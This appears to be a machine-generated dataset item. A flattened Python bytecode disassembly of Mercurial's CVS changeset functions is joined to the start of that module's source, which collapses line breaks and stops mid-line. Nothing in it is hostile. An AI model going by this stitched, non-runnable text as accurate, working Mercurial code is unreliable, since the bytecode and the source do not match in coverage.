POP_TOP POP_EXCEPT JUMP_FORWARD to 1276 END_FINALLY LOAD_FAST m LOAD_FAST branches COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF c LOAD_ATTR branch LOAD_FAST m COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST candidate LOAD_ATTR synthetic EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_DEREF c LOAD_ATTR parents LOAD_METHOD append LOAD_FAST candidate CALL_METHOD POP_TOP LOAD_FAST mergeto EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mergeto LOAD_METHOD search LOAD_DEREF c LOAD_ATTR comment CALL_METHOD STORE_FAST m LOAD_FAST m EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST m LOAD_METHOD groups CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST m LOAD_METHOD group LOAD_CONST 1 CALL_METHOD STORE_FAST m LOAD_FAST m LOAD_CONST b'HEAD' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST m JUMP_FORWARD to 1382 LOAD_CONST None STORE_FAST m LOAD_FAST m LOAD_FAST branches COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF c LOAD_ATTR branch LOAD_FAST m COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL changeset LOAD_DEREF c LOAD_ATTR author LOAD_FAST m LOAD_DEREF c LOAD_ATTR date LOAD_CONST b'convert-repo: CVS merge from branch %s' LOAD_DEREF c LOAD_ATTR branch BINARY_MODULO BUILD_LIST BUILD_LIST LOAD_FAST changesets LOAD_FAST branches LOAD_FAST m BINARY_SUBSCR BINARY_SUBSCR LOAD_DEREF c BUILD_LIST LOAD_CONST ('author', 'branch', 'date', 'comment', 'entries', 'tags', 'parents') CALL_FUNCTION STORE_FAST cc LOAD_FAST changesets LOAD_METHOD insert LOAD_FAST i LOAD_CONST 1 BINARY_ADD LOAD_FAST cc CALL_METHOD POP_TOP LOAD_FAST i LOAD_CONST 1 BINARY_ADD LOAD_FAST branches LOAD_FAST m STORE_SUBSCR LOAD_FAST n LOAD_CONST 1 INPLACE_ADD STORE_FAST n LOAD_FAST i LOAD_CONST 2 INPLACE_ADD STORE_FAST i EXTENDED_ARG JUMP_ABSOLUTE LOAD_FAST i LOAD_FAST branches LOAD_DEREF c LOAD_ATTR branch STORE_SUBSCR LOAD_FAST i LOAD_CONST 1 INPLACE_ADD STORE_FAST i EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 0 STORE_FAST i SETUP_LOOP to 1574 LOAD_FAST i LOAD_GLOBAL len LOAD_FAST changesets CALL_FUNCTION COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST changesets LOAD_FAST i BINARY_SUBSCR LOAD_ATTR synthetic EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST changesets LOAD_FAST i DELETE_SUBSCR JUMP_FORWARD to 1568 LOAD_FAST i LOAD_CONST 1 INPLACE_ADD STORE_FAST i EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 1608 LOAD_GLOBAL enumerate LOAD_FAST changesets CALL_FUNCTION GET_ITER FOR_ITER to 1606 UNPACK_SEQUENCE STORE_FAST i STORE_DEREF c LOAD_FAST i LOAD_CONST 1 BINARY_ADD LOAD_DEREF c STORE_ATTR id EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_DEREF odd EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 1684 LOAD_DEREF odd GET_ITER FOR_ITER to 1682 UNPACK_SEQUENCE STORE_FAST l STORE_FAST r LOAD_FAST l LOAD_ATTR id LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST r LOAD_ATTR id LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD warn LOAD_GLOBAL _ LOAD_CONST b'changeset %d is both before and after %d\n' CALL_FUNCTION LOAD_FAST l LOAD_ATTR id LOAD_FAST r LOAD_ATTR id BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ui LOAD_METHOD status LOAD_GLOBAL _ LOAD_CONST b'%d changeset entries\n' CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST changesets CALL_FUNCTION BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL hook LOAD_ATTR hook LOAD_FAST ui LOAD_CONST None LOAD_CONST b'cvschangesets' LOAD_CONST True LOAD_FAST changesets LOAD_CONST ('changesets',) CALL_FUNCTION POP_TOP LOAD_FAST changesets RETURN_VALUE LOAD_DEREF mindate LOAD_METHOD get LOAD_FAST x LOAD_ATTR commitid LOAD_CONST (-1, 0) CALL_METHOD LOAD_FAST x LOAD_ATTR commitid JUMP_IF_TRUE_OR_POP LOAD_CONST b'' LOAD_FAST x LOAD_ATTR comment LOAD_FAST x LOAD_ATTR author LOAD_FAST x LOAD_ATTR branch JUMP_IF_TRUE_OR_POP LOAD_CONST b'' LOAD_FAST x LOAD_ATTR date LOAD_FAST x LOAD_ATTR branchpoints BUILD_TUPLE RETURN_VALUE LOAD_FAST l LOAD_ATTR file LOAD_METHOD split LOAD_CONST b'/' CALL_METHOD STORE_FAST l LOAD_FAST r LOAD_ATTR file LOAD_METHOD split LOAD_CONST b'/' CALL_METHOD STORE_FAST r LOAD_GLOBAL len LOAD_FAST l CALL_FUNCTION STORE_FAST nl LOAD_GLOBAL len LOAD_FAST r CALL_FUNCTION STORE_FAST nr LOAD_GLOBAL min LOAD_FAST nl LOAD_FAST nr CALL_FUNCTION STORE_FAST n SETUP_LOOP to 156 LOAD_GLOBAL range LOAD_FAST n CALL_FUNCTION GET_ITER FOR_ITER to 154 STORE_FAST i LOAD_FAST i LOAD_CONST 1 BINARY_ADD LOAD_FAST nl COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST nl LOAD_FAST nr COMPARE_OP < POP_JUMP_IF_FALSE LOAD_CONST -1 RETURN_VALUE LOAD_FAST i LOAD_CONST 1 BINARY_ADD LOAD_FAST nr COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST nl LOAD_FAST nr COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_FAST l LOAD_FAST i BINARY_SUBSCR LOAD_FAST r LOAD_FAST i BINARY_SUBSCR COMPARE_OP < POP_JUMP_IF_FALSE LOAD_CONST -1 RETURN_VALUE LOAD_FAST l LOAD_FAST i BINARY_SUBSCR LOAD_FAST r LOAD_FAST i BINARY_SUBSCR COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL sum LOAD_FAST l LOAD_ATTR date CALL_FUNCTION LOAD_GLOBAL sum LOAD_FAST r LOAD_ATTR date CALL_FUNCTION BINARY_SUBTRACT STORE_FAST d LOAD_FAST d POP_JUMP_IF_FALSE LOAD_FAST d RETURN_VALUE BUILD_MAP STORE_FAST le SETUP_LOOP to 60 LOAD_FAST l LOAD_ATTR entries GET_ITER FOR_ITER to 58 STORE_FAST e LOAD_FAST e LOAD_ATTR revision LOAD_FAST le LOAD_FAST e LOAD_ATTR rcs STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK BUILD_MAP STORE_FAST re SETUP_LOOP to 92 LOAD_FAST r LOAD_ATTR entries GET_ITER FOR_ITER to 90 STORE_FAST e LOAD_FAST e LOAD_ATTR revision LOAD_FAST re LOAD_FAST e LOAD_ATTR rcs STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 0 STORE_FAST d SETUP_LOOP to 146 LOAD_FAST l LOAD_ATTR entries GET_ITER FOR_ITER to 144 STORE_FAST e LOAD_FAST re LOAD_METHOD get LOAD_FAST e LOAD_ATTR rcs LOAD_CONST None CALL_METHOD LOAD_FAST e LOAD_ATTR parent COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST d POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 STORE_FAST d BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 206 LOAD_FAST r LOAD_ATTR entries GET_ITER FOR_ITER to 204 STORE_FAST e LOAD_FAST le LOAD_METHOD get LOAD_FAST e LOAD_ATTR rcs LOAD_CONST None CALL_METHOD LOAD_FAST e LOAD_ATTR parent COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST d POP_JUMP_IF_FALSE LOAD_DEREF odd LOAD_METHOD add LOAD_FAST l LOAD_FAST r BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST -1 STORE_FAST d BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST <code object <lambda> at 0x7fab8018aae0, file "f.py", line 648> LOAD_CONST 'createchangeset.<locals>.cscmp.<locals>.<lambda>' MAKE_FUNCTION STORE_FAST c LOAD_FAST d POP_JUMP_IF_TRUE LOAD_FAST c LOAD_GLOBAL len LOAD_FAST l LOAD_ATTR entries CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST r LOAD_ATTR entries CALL_FUNCTION CALL_FUNCTION STORE_FAST d LOAD_FAST d EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST c LOAD_CONST <code object <listcomp> at 0x7fab8018a9c0, file "f.py", line 652> LOAD_CONST 'createchangeset.<locals>.cscmp.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST l LOAD_ATTR entries GET_ITER CALL_FUNCTION LOAD_CONST <code object <listcomp> at 0x7fab8018a9c0, file "f.py", line 652> LOAD_CONST 'createchangeset.<locals>.cscmp.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST r LOAD_ATTR entries GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST d LOAD_FAST d EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST c LOAD_GLOBAL len LOAD_FAST l LOAD_ATTR branchpoints CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST r LOAD_ATTR branchpoints CALL_FUNCTION CALL_FUNCTION STORE_FAST d LOAD_FAST d RETURN_VALUE LOAD_FAST x LOAD_FAST y COMPARE_OP > LOAD_FAST x LOAD_FAST y COMPARE_OP < BINARY_SUBTRACT RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 16 STORE_FAST e LOAD_FAST e LOAD_ATTR file LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST tag LOAD_DEREF globaltags LOAD_FAST tag BINARY_SUBSCR LOAD_DEREF c COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST tag YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pycompat LOAD_METHOD byteskwargs LOAD_FAST opts CALL_METHOD STORE_FAST opts LOAD_FAST opts LOAD_CONST b'new_cache' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_CONST b'write' STORE_FAST cache JUMP_FORWARD to 42 LOAD_FAST opts LOAD_CONST b'update_cache' BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_CONST b'update' STORE_FAST cache JUMP_FORWARD to 42 LOAD_CONST None STORE_FAST cache LOAD_FAST opts LOAD_CONST b'revisions' BINARY_SUBSCR STORE_FAST revisions SETUP_EXCEPT to 122 LOAD_FAST args POP_JUMP_IF_FALSE BUILD_LIST STORE_FAST log SETUP_LOOP to 118 LOAD_FAST args GET_ITER FOR_ITER to 96 STORE_FAST d LOAD_FAST log LOAD_GLOBAL createlog LOAD_FAST ui LOAD_FAST d LOAD_FAST opts LOAD_CONST b'root' BINARY_SUBSCR LOAD_FAST cache LOAD_CONST ('root', 'cache') CALL_FUNCTION INPLACE_ADD STORE_FAST log JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 118 LOAD_GLOBAL createlog LOAD_FAST ui LOAD_FAST opts LOAD_CONST b'root' BINARY_SUBSCR LOAD_FAST cache LOAD_CONST ('root', 'cache') CALL_FUNCTION STORE_FAST log POP_BLOCK JUMP_FORWARD to 170 DUP_TOP LOAD_GLOBAL logerror COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 156 LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'%r\n' LOAD_FAST e BINARY_MODULO CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 170 END_FINALLY LOAD_GLOBAL createchangeset LOAD_FAST ui LOAD_FAST log LOAD_FAST opts LOAD_CONST b'fuzz' BINARY_SUBSCR CALL_FUNCTION STORE_FAST changesets DELETE_FAST log LOAD_GLOBAL len LOAD_FAST revisions CALL_FUNCTION STORE_FAST off BUILD_MAP STORE_FAST branches BUILD_MAP STORE_FAST ancestors EXTENDED_ARG SETUP_LOOP to 1006 LOAD_FAST changesets GET_ITER EXTENDED_ARG FOR_ITER to 1004 STORE_FAST cs LOAD_FAST opts LOAD_CONST b'ancestors' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cs LOAD_ATTR branch LOAD_FAST branches COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cs LOAD_ATTR parents EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cs LOAD_ATTR parents LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR id EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST changesets LOAD_FAST cs LOAD_ATTR parents LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR id LOAD_CONST 1 BINARY_SUBTRACT BINARY_SUBSCR LOAD_ATTR branch LOAD_FAST cs LOAD_ATTR parents LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR id BUILD_TUPLE LOAD_FAST ancestors LOAD_FAST cs LOAD_ATTR branch STORE_SUBSCR LOAD_FAST cs LOAD_ATTR id LOAD_FAST branches LOAD_FAST cs LOAD_ATTR branch STORE_SUBSCR LOAD_FAST opts LOAD_CONST b'branches' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cs LOAD_ATTR branch EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_CONST b'HEAD' LOAD_FAST opts LOAD_CONST b'branches' BINARY_SUBSCR COMPARE_OP not in EXTENDED_ARG POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST off EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'---------------------\n' CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'PatchSet %d \n' LOAD_FAST cs LOAD_ATTR id BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Date: %s\n' LOAD_GLOBAL dateutil LOAD_METHOD datestr LOAD_FAST cs LOAD_ATTR date LOAD_CONST b'%Y/%m/%d %H:%M:%S %1%2' CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Author: %s\n' LOAD_FAST cs LOAD_ATTR author BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Branch: %s\n' LOAD_FAST cs LOAD_ATTR branch EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_CONST b'HEAD' BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Tag%s: %s \n' LOAD_CONST b'' LOAD_CONST b's' BUILD_LIST LOAD_GLOBAL len LOAD_FAST cs LOAD_ATTR tags CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > BINARY_SUBSCR LOAD_CONST b',' LOAD_METHOD join LOAD_FAST cs LOAD_ATTR tags CALL_METHOD EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_CONST b'(none)' BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST cs LOAD_ATTR branchpoints EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD writenoi18n LOAD_CONST b'Branchpoints: %s \n' LOAD_CONST b', ' LOAD_METHOD join LOAD_GLOBAL sorted LOAD_FAST cs LOAD_ATTR branchpoints CALL_FUNCTION CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST opts LOAD_CONST b'parents' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cs LOAD_ATTR parents EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST cs LOAD_ATTR parents CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Parents: %s\n' LOAD_CONST b',' LOAD_METHOD join LOAD_CONST <code object <listcomp> at 0x7fab8018af60, file "f.py", line 864> LOAD_CONST 'debugcvsps.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST cs LOAD_ATTR parents GET_ITER CALL_FUNCTION CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP JUMP_FORWARD to 616 LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Parent: %d\n' LOAD_FAST cs LOAD_ATTR parents LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR id BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST opts LOAD_CONST b'ancestors' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cs LOAD_ATTR branch STORE_FAST b BUILD_LIST STORE_FAST r SETUP_LOOP to 692 LOAD_FAST b EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ancestors LOAD_FAST b BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST b STORE_FAST c LOAD_FAST r LOAD_METHOD append LOAD_CONST b'%s:%d:%d' LOAD_FAST b EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_CONST b'HEAD' LOAD_FAST c LOAD_FAST branches LOAD_FAST b BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST r EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'Ancestors: %s\n' LOAD_CONST b',' LOAD_METHOD join LOAD_FAST r CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD writenoi18n LOAD_CONST b'Log:\n' CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'%s\n\n' LOAD_FAST cs LOAD_ATTR comment BINARY_MODULO CALL_METHOD POP_TOP LOAD_FAST ui LOAD_METHOD writenoi18n LOAD_CONST b'Members: \n' CALL_METHOD POP_TOP SETUP_LOOP to 888 LOAD_FAST cs LOAD_ATTR entries GET_ITER FOR_ITER to 886 STORE_FAST f LOAD_FAST f LOAD_ATTR file STORE_FAST fn LOAD_FAST fn LOAD_METHOD startswith LOAD_FAST opts LOAD_CONST b'prefix' BINARY_SUBSCR CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST fn LOAD_GLOBAL len LOAD_FAST opts LOAD_CONST b'prefix' BINARY_SUBSCR CALL_FUNCTION LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST fn LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'\t%s:%s->%s%s \n' LOAD_FAST fn LOAD_CONST b'.' LOAD_METHOD join LOAD_CONST <code object <listcomp> at 0x7fab822e8030, file "f.py", line 890> LOAD_CONST 'debugcvsps.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST f LOAD_ATTR parent GET_ITER CALL_FUNCTION CALL_METHOD EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_CONST b'INITIAL' LOAD_CONST b'.' LOAD_METHOD join LOAD_CONST <code object <listcomp> at 0x7fab822e80c0, file "f.py", line 891> LOAD_CONST 'debugcvsps.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST f LOAD_ATTR revision GET_ITER CALL_FUNCTION CALL_METHOD LOAD_CONST b'' LOAD_CONST b'(DEAD)' BUILD_LIST LOAD_FAST f LOAD_ATTR dead BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ui LOAD_METHOD write LOAD_CONST b'\n' CALL_METHOD POP_TOP LOAD_FAST revisions EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST off EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST revisions LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST b'%d' LOAD_FAST cs LOAD_ATTR id BINARY_MODULO COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST revisions LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST cs LOAD_ATTR tags COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST off LOAD_GLOBAL len LOAD_FAST revisions CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST off POP_JUMP_IF_TRUE LOAD_FAST revisions LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST b'%d' LOAD_FAST cs LOAD_ATTR id BINARY_MODULO COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST revisions LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST cs LOAD_ATTR tags COMPARE_OP in POP_JUMP_IF_FALSE BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 20 STORE_FAST p LOAD_CONST b'%d' LOAD_FAST p LOAD_ATTR id BINARY_MODULO LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_CONST b'%d' LOAD_FAST x BINARY_MODULO LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST x LOAD_CONST b'%d' LOAD_FAST x BINARY_MODULO LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE
import functools import os import pickle import re from mercurial.i18n import _ from mercurial.pycompat import open from mercurial import ( encoding, error, hook, pycompat, util, ) from mercurial.utils import ( dateutil, procutil, stringutil, ) class logentry: """Class logentry has the following attributes: .author - author name as CVS knows it .branch - name of branch this revision is on .branches - revision tuple of branches starting at this revision .comment - commit message .commitid - CVS commitid or None .date - the commit date as a (time, tz) tuple .dead - true if file revision is dead .file - Name of file .lines - a tuple (+lines, -lines) or None .parent - Previous revision of this entry .rcs - name of file as returned from CVS .revision - revision number as tuple .tags - list of tags on the file .synthetic - is this a synthetic "file ... added on ..." revision? .mergepoint - the branch that has been merged from (if present in rlog output) or None .branchpoints - the branches that start at the current entry or empty """ def __init__(self, **entries): self.synthetic = False self.__dict__.update(entries) def __repr__(self): items = ("%s=%r" % (k, self.__dict__[k]) for k in sorted(self.__dict__)) return "%s(%s)" % (type(self).__name__, ", ".join(items)) class logerror(Exception): pass def getrepopath(cvspath): """Return the repository path from a CVS path. >>> getrepopath(b'/foo/bar') '/foo/bar' >>> getrepopath(b'c:/foo/bar') '/foo/bar' >>> getrepopath(b':pserver:10/foo/bar') '/foo/bar' >>> getrepopath(b':pserver:10c:/foo/bar') '/foo/bar' >>> getrepopath(b':pserver:/foo/bar') '/foo/bar' >>> getrepopath(b':pserver:c:/foo/bar') '/foo/bar' >>> getrepopath(b':pserver:[email protected]:/foo/bar') '/foo/bar' >>> getrepopath(b':pserver:[email protected]:c:/foo/bar') '/foo/bar' >>> getrepopath(b'user@server/path/to/repository') '/path/to/repository' """ parts = cvspath.split(b":") atposition = parts[-1].find(b"@") start = 0 if atposition != -1: start = atposition repopath = parts[-1][parts[-1].find(b"/", start) :] return repopath def createlog(ui, directory=None, root=b"", rlog=True, cache=None): """Collect the CVS rlog""" _scache = {} def scache(s): """return a shared version of a string""" return _scache.setdefault(s, s) ui.status(_(b"collecting CVS rlog\n")) log = [] # list of logentry objects containing the CVS state re_00 = re.compile(b"RCS file: (.+)$") re_01 = re.compile(b"cvs \\[r?log aborted\\]: (.+)$") re_02 = re.compile(b"cvs (r?log|server): (.+)\n$") re_03 = re.compile( b"(Cannot access.+CVSROOT)|(can't create temporary directory.+)$" ) re_10 = re.compile(b"Working file: (.+)$") re_20 = re.compile(b"symbolic names:") re_30 = re.compile(b"\t(.+): ([\\d.]+)$") re_31 = re.compile(b"----------------------------$") re_32 = re.compile( b"=======================================" b"======================================$" ) re_50 = re.compile(rb"revision ([\d.]+)(\s+locked by:\s+.+;)?$") re_60 = re.compile( rb"date:\s+(.+);\s+author:\s+(.+);\s+state:\s+(.+?);" rb"(\s+lines:\s+(\+\d+)?\s+(-\d+)?;)?" rb"(\s+commitid:\s+([^;]+);)?" rb"(.*mergepoint:\s+([^;]+);)?" ) re_70 = re.compile(b"branches: (.+);$") file_added_re = re.compile(rb"file [^/]+ was (initially )?added on branch") prefix = b"" # leading path to strip of what we get from CVS if directory is None: try: with open(os.path.join(b"CVS", b"Repository"), b"rb") as f: prefix = f.read().strip() directory = prefix if prefix == b".": prefix = b"" except IOError: raise logerror(_(b"not a CVS sandbox")) if prefix and not prefix.endswith(pycompat.ossep): prefix += pycompat.ossep try: root = open(os.path.join(b"CVS", b"Root"), b"rb").read().strip() except IOError: pass if not root: root = encoding.environ.get(b"CVSROOT", b"") oldlog = [] date = None if cache: cachedir = os.path.expanduser(b"~/.hg.cvsps") if not os.path.exists(cachedir): os.mkdir(cachedir) cachefile = root.split(b":") + [directory, b"cache"] cachefile = [b"-".join(re.findall(rb"\w+", s)) for s in cachefile if s] cachefile = os.path.join(cachedir, b".".join([s for s in cachefile if s])) if cache == b"update": try: ui.note(_(b"reading cvs log cache %s\n") % cachefile) oldlog = pickle.load(open(cachefile, b"rb")) for e in oldlog: if not ( hasattr(e, "branchpoints") and hasattr(e, "commitid") and hasattr(e, "mergepoint") ): ui.status(_(b"ignoring old cache\n")) oldlog = [] break ui.note(_(b"cache has %d log entries\n") % len(oldlog)) except Exception as e: ui.note(_(b"error reading cache: %r\n") % e) if oldlog: date = oldlog[-1].date # last commit date as a (time,tz) tuple date = dateutil.datestr(date, b"%Y/%m/%d %H:%M:%S %1%2") cmd = [b"cvs", b"-q"] if root: cmd.append(b"-d%s" % root) p = util.normpath(getrepopath(root)) if not p.endswith(b"/"): p += b"/" if prefix: prefix = p + util.normpath(prefix) else: prefix = p cmd.append([b"log", b"rlog"][rlog]) if date: cmd.append(b"-d>%s" % date) cmd.append(directory) tags = {} # dictionary of revisions on current file with their tags branchmap = {} # mapping between branch names and revision numbers rcsmap = {} state = 0 store = False # set when a new record can be appended cmd = [procutil.shellquote(arg) for arg in cmd] ui.note(_(b"running %s\n") % (b" ".join(cmd))) ui.debug(b"prefix=%r directory=%r root=%r\n" % (prefix, directory, root)) pfp = procutil.popen(b" ".join(cmd), b"rb") peek = util.fromnativeeol(pfp.readline()) while True: line = peek if line == b"": break peek = util.fromnativeeol(pfp.readline()) if line.endswith(b"\n"): line = line[:-1] if state == 0: match = re_00.match(line) if match: rcs = match.group(1) tags = {} if rlog: filename = util.normpath(rcs[:-2]) if filename.startswith(prefix): filename = filename[len(prefix) :] if filename.startswith(b"/"): filename = filename[1:] if filename.startswith(b"Attic/"): filename = filename[6:] else: filename = filename.replace(b"/Attic/", b"/") state = 2 continue state = 1 continue match = re_01.match(line) if match: raise logerror(match.group(1)) match = re_02.match(line) if match: raise logerror(match.group(2)) if re_03.match(line): raise logerror(line) elif state == 1: match = re_10.match(line) assert match, _(b"RCS file must be followed by working file") filename = util.normpath(match.group(1)) state = 2 elif state == 2: if re_20.match(line): branchmap = {} state = 3 elif state == 3: match = re_30.match(line) if match: rev = [int(x) for x in match.group(2).split(b".")] revn = len(rev) if revn > 3 and (revn % 2) == 0 and rev[-2] == 0: rev = rev[:-2] + rev[-1:] rev = tuple(rev) if rev not in tags: tags[rev] = [] tags[rev].append(match.group(1)) branchmap[match.group(1)] = match.group(2) elif re_31.match(line): state = 5 elif re_32.match(line): state = 0 elif state == 4: if re_31.match(line): state = 5 else: assert not re_32.match(line), _(b"must have at least some revisions") elif state == 5: match = re_50.match(line) assert match, _(b"expected revision number") e = logentry( rcs=scache(rcs), file=scache(filename), revision=tuple([int(x) for x in match.group(1).split(b".")]), branches=[], parent=None, commitid=None, mergepoint=None, branchpoints=set(), ) state = 6 elif state == 6: match = re_60.match(line) assert match, _(b"revision must be followed by date line") d = match.group(1) if d[2] == b"/": d = b"19" + d if len(d.split()) != 3: d = d + b" UTC" e.date = dateutil.parsedate( d, [ b"%y/%m/%d %H:%M:%S", b"%Y/%m/%d %H:%M:%S", b"%Y-%m-%d %H:%M:%S", ], ) e.author = scache(match.group(2)) e.dead = match.group(3).lower() == b"dead" if match.group(5): if match.group(6): e.lines = (int(match.group(5)), int(match.group(6))) else: e.lines = (int(match.group(5)), 0) elif match.group(6): e.lines = (0, int(match.group(6))) else: e.lines = None if match.group(7): # cvs 1.12 